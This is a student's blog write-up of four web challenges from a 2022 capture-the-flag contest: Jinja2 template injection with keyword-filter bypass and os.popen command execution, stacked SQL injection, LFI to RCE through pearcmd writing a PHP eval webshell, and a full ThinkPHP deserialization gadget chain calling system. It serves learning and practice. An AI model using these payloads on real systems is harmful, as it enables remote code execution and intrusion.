[Writeup]2022 NewstarCTF_Week3(Web部分)


一只网络安全菜鸟--(˙<>˙)/--
写博客主要是想记录一下自己的学习过程,过两年毕业了也能回头看看自己都学了些啥东西。
由于本人水平有限内容难免有错误、疏漏、逻辑不清、让人看不懂等各种问题,恳请大家批评指正
如果我写的东西能对你有一点点帮助,那真是再好不过了😀。

2023 Newstar CTF就要开始了,在buuctf上把去年的题做了一下,虽然是新生赛但仍有挺多我不知道的知识。。感觉web我才走完几千分之一的路程

BabySSTI_One

看题目像是模板注入,看看界面:
image
提示说GET a NAME,传个${77}:
image
没执行,看看{{7
7}}:
image
被执行了,看看{{7*'7'}}:
image
七个七,那就是jinja2了,开始找它的爹:
?name={{"".__class__}}
image
太直白了。。估计是把什么东西过滤掉了?试试双引号:
?name=""
image
这个没过率,再往后试试class:?name=class
class被过滤了,去网上找了下绕过方法,感谢这位师傅的文章:
https://xz.aliyun.com/t/6885#toc-4
image
啥也没有?看下源码:
image
类型藏在源码里,再用base网上找它的爹,我们的目标是找到object:
?name={{""["__cla"+"ss__"]['__ba'+'se__']}}
image
object找到了,往下看它都有啥类:
?name={{""["__cla"+"ss__"]['__ba'+'se__']['__subcl'+'asses__']()}}
image
然后就是写脚本找带Printer/os/error的类了,类似脚本之前写过一个,改了改,我觉得我这个写的挺好理解的,哈哈XD:

import requests
import re
import time
for i in range(0,666):
    time.sleep(0.04)
    url = "http://36c0c6b7-4064-49dc-b6ee-743f518eba69.node4.buuoj.cn:81/"
    payload="{{[]['__cla'+'ss__']['__ba'+'se__']['__subcl'+'asses__']()["+str(i)+"]}}"#注意最外面要是双引号,里面一定要避免有双引号!
    get_data = {"name": payload}
    s = requests.get(url=url,params=get_data) #POST多用data,GET的话就用params
    time.sleep(0.06)
    print(s.text)#这个没有更好,加这个我想看每个包都回应了啥
    if 'os' in s.text:
        print(i)
        print(s.text)
    else:
        continue

image
117带了os,那就用它:

?name={{[]['__cla'+'ss__']['__ba'+'se__']['__subcl'+'asses__']()[117]['__in'+'it__']['__glo'+'bals__']['popen']('ls').read()}}

image
直接去根目录下找有没有带flag的:

?name={{[]['__cla'+'ss__']['__ba'+'se__']['__subcl'+'asses__']()[117]['__in'+'it__']['__glo'+'bals__']['popen']('ls /').read()}}

image
有个flag_in_here,直接cat看看:
image
回显了Get Out!Hacker!又触发过滤了。。尝试后发现过滤了cat 和 flag,老方法在中间加个${Z}绕过就行:
image
最后可以看看最开始哪个app.py里他都过滤了些啥:
image

最后在网上看wp时发现这题可以直接用一个叫fenjing的软件拿flag,不过用法还不是很清楚。。学明白后把这个方法补上

multiSQL

提示:堆叠注入,update更新
image
输入火华看看会有啥:
image
他这个成绩相加正好424,估计要利用堆叠注入+update去把成绩更新成大于等于425的:
先看时怎么包裹的:
image
单引号包裹,堆叠看下databases:火华';show databases;#
image
火华';show tables;#
image
看表里有啥列:
1';show columns from score;#
image
1';update score set english = english*100 where username='火华';#
把听力成绩放大100倍:
image
估计正则匹配到什么东西了。。按个输入字符串后发现过滤了update。。不会搞了在网上找了下wp,用了replace into。感谢这位师傅:
https://blog.csdn.net/shutTD/article/details/127157978
先看下replace into的用法:
image
如果想把score表中的成绩改掉,可以利用:
1';replace into score values("火华",200,200,200);#
replace into score (username,listen,read,write) values('火华',200,200,200);# 不知道这段代码有啥问题。。达不到上面的效果/(ㄒoㄒ)/
image
然后把第一行数据删掉就行了:
1';delete from score where listen=11;%23
image
image

IncludeTwo

 <?php
error_reporting(0);
highlight_file(__FILE__);
//Can you get shell? RCE via LFI if you get some trick,this question will be so easy!
if(!preg_match("/base64|rot13|filter/i",$_GET['file']) && isset($_GET['file'])){
    include($_GET['file'].".php");
}else{
    die("Hacker!");
} Hacker!

不会做。。他先过滤了filter/rot13/base64,可能是要用include和data伪协议组合去执行命令?但他最后会在file后面加个.php。。。就不知道怎么做了,file的结尾肯定要是个文件名。。。
去网上找了wp看了看。。又是没遇到过的新知识😵,感谢这位师傅:
https://blog.csdn.net/qq_62046696/article/details/127154063?spm=1001.2014.3001.5506
利用pear命令行中的config-create参数。(这东西可以往里传两个参数,第一个参数是我们写的命令,第二个参数就是这个命令保存的文件路径,注意+是分隔符)
/?+config-create+/&file=/usr/local/lib/php/pearcmd&/<?=eval($_POST[1])?>+/var/www/html/a.php
file后面是pearcmd的默认路径,因为Index.php提示了后面会加php,所以直接/usr/local/lib/php/pearcmd就好了。第二个&后就是第一个参数,第三个+后是第二个参数。
本来想直接在URL上传的,哈哈。但是师傅在wp里说直接在url里传<>这俩字符可能会导致解码出问题,建议在burpsuite里改:
image
存到/var/www/html里因为这是个默认路径:默认服务器会从这个路径里提供网页文件或者其它资源。
先访问a.php,直接在初始url后面加就行,ls看下当前目录有没有flag有关的东西:
image
没有,再读根目录底下的东西:
image
有个fffflllllaaaaggggg,直接cat读:
image
得到flag。
看了wp还有其它更简单的找法:直接 cat /f*即读根目录下所有f打头的东西:
image

Maybe You Have To think More

image
image
随便输点啥提交:
image
有个?name=1
随便在URL输点东西:
image
根据提示查了相关的漏洞,说是一个反序列化漏洞,但完全不知道从哪里开始以及链子怎么构造。。?直接去网上查了wp,感谢这位师傅的文章:
https://blog.csdn.net/Jayjay___/article/details/132562801
这东西的cookie是一串base64,解码后是序列化后的字符串:
image
image
那么反序列化的点就是经过base64编码后的cookie
直接用现成的EXP,感谢这位师傅的文章
https://forum.butian.net/share/1961

<?php

namespace think\process\pipes {

    use think\model\Pivot;

    class Windows
    {
        private $files = [];

        public function __construct()
        {
            $this->files[] = new Pivot();
        }
    }
}

namespace think {
    abstract class Model
    {
        protected $append = [];
        private $data = [];

        public function __construct()
        {
            $this->data = array(
                'v1nd' => new Request()
            );
            $this->append = array(
                'v1nd' => array(
                    'hello' => 'world'
                )
            );
        }
    }
}

namespace think\model {

    use think\Model;

    class Pivot extends Model
    {

    }
}

namespace think {
    class Request
    {
        protected $hook = [];
        protected $filter;
        protected $config = [
            // 表单请求类型伪装变量
            'var_method' => '_method',
            // 表单ajax伪装变量
            'var_ajax' => '',
            // 表单pjax伪装变量
            'var_pjax' => '_pjax',
            // PATHINFO变量名 用于兼容模式
            'var_pathinfo' => 's',
            // 兼容PATH_INFO获取
            'pathinfo_fetch' => ['ORIG_PATH_INFO', 'REDIRECT_PATH_INFO', 'REDIRECT_URL'],
            // 默认全局过滤方法 用逗号分隔多个
            'default_filter' => '',
            // 域名根,如thinkphp.cn
            'url_domain_root' => '',
            // HTTPS代理标识
            'https_agent_name' => '',
            // IP代理获取标识
            'http_agent_ip' => 'HTTP_X_REAL_IP',
            // URL伪静态后缀
            'url_html_suffix' => 'html',
        ];

        public function __construct()
        {
            $this->hook['visible'] = [$this, 'isAjax'];
            $this->filter = "system";
        }
    }
}

namespace {

    use think\process\pipes\Windows;

    echo base64_encode(serialize(new Windows()));
}

然后直接get传参执行命令就行了,比如:
?name=ls
image
没有和flag有关的?看看根目录:
?name=ls%20/ 注意空格的url编码是%20,不编码没法访问
image
有个flag,直接cat读:
cat%20/flag
image
这还是个假flag,cat%20/f*读下所有f开头的(因为find全磁盘搜索所以比较慢):
image
还是没有和flag有关系的。。
师傅们说flag在环境变量里:
?name=env
image

感觉这题还是没做明白。。月底总结的时候再认真看一下😵

posted @   notbad3  阅读(538)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· winform 绘制太阳,地球,月球 运作规律
· 震惊!C++程序真的从main开始吗?99%的程序员都答错了
· AI与.NET技术实操系列(五):向量存储与相似性搜索在 .NET 中的实现
· 超详细:普通电脑也行Windows部署deepseek R1训练数据并当服务器共享给他人
· 【硬核科普】Trae如何「偷看」你的代码?零基础破解AI编程运行原理
点击右上角即可分享
微信分享提示